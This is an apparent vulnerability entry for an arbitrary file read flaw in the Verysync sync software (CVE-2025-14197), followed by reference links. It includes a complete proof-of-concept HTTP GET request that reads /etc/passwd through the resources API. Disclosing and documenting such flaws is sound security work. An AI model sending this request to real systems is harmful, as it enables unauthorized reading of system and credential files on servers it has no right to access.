Description
微力同步Verysync resources 任意文件读取漏洞
微力同步Verysync resources 任意文件读取漏洞
PoC
GET /rest/f/api/resources/f96956469e7be39d/etc/passwd?override=false HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://blog.csdn.net/m0_50125527/article/details/156446876
https://vuldb.com/?id.334617
https://attackerkb.com/topics/5PsTi9108s/cve-2025-14197
https://app.opencve.io/cve/?product=verysync&vendor=verysync
https://github.com/advisories/GHSA-wghp-x8f8-p2w5
https://cve.imfht.com/detail/CVE-2025-14197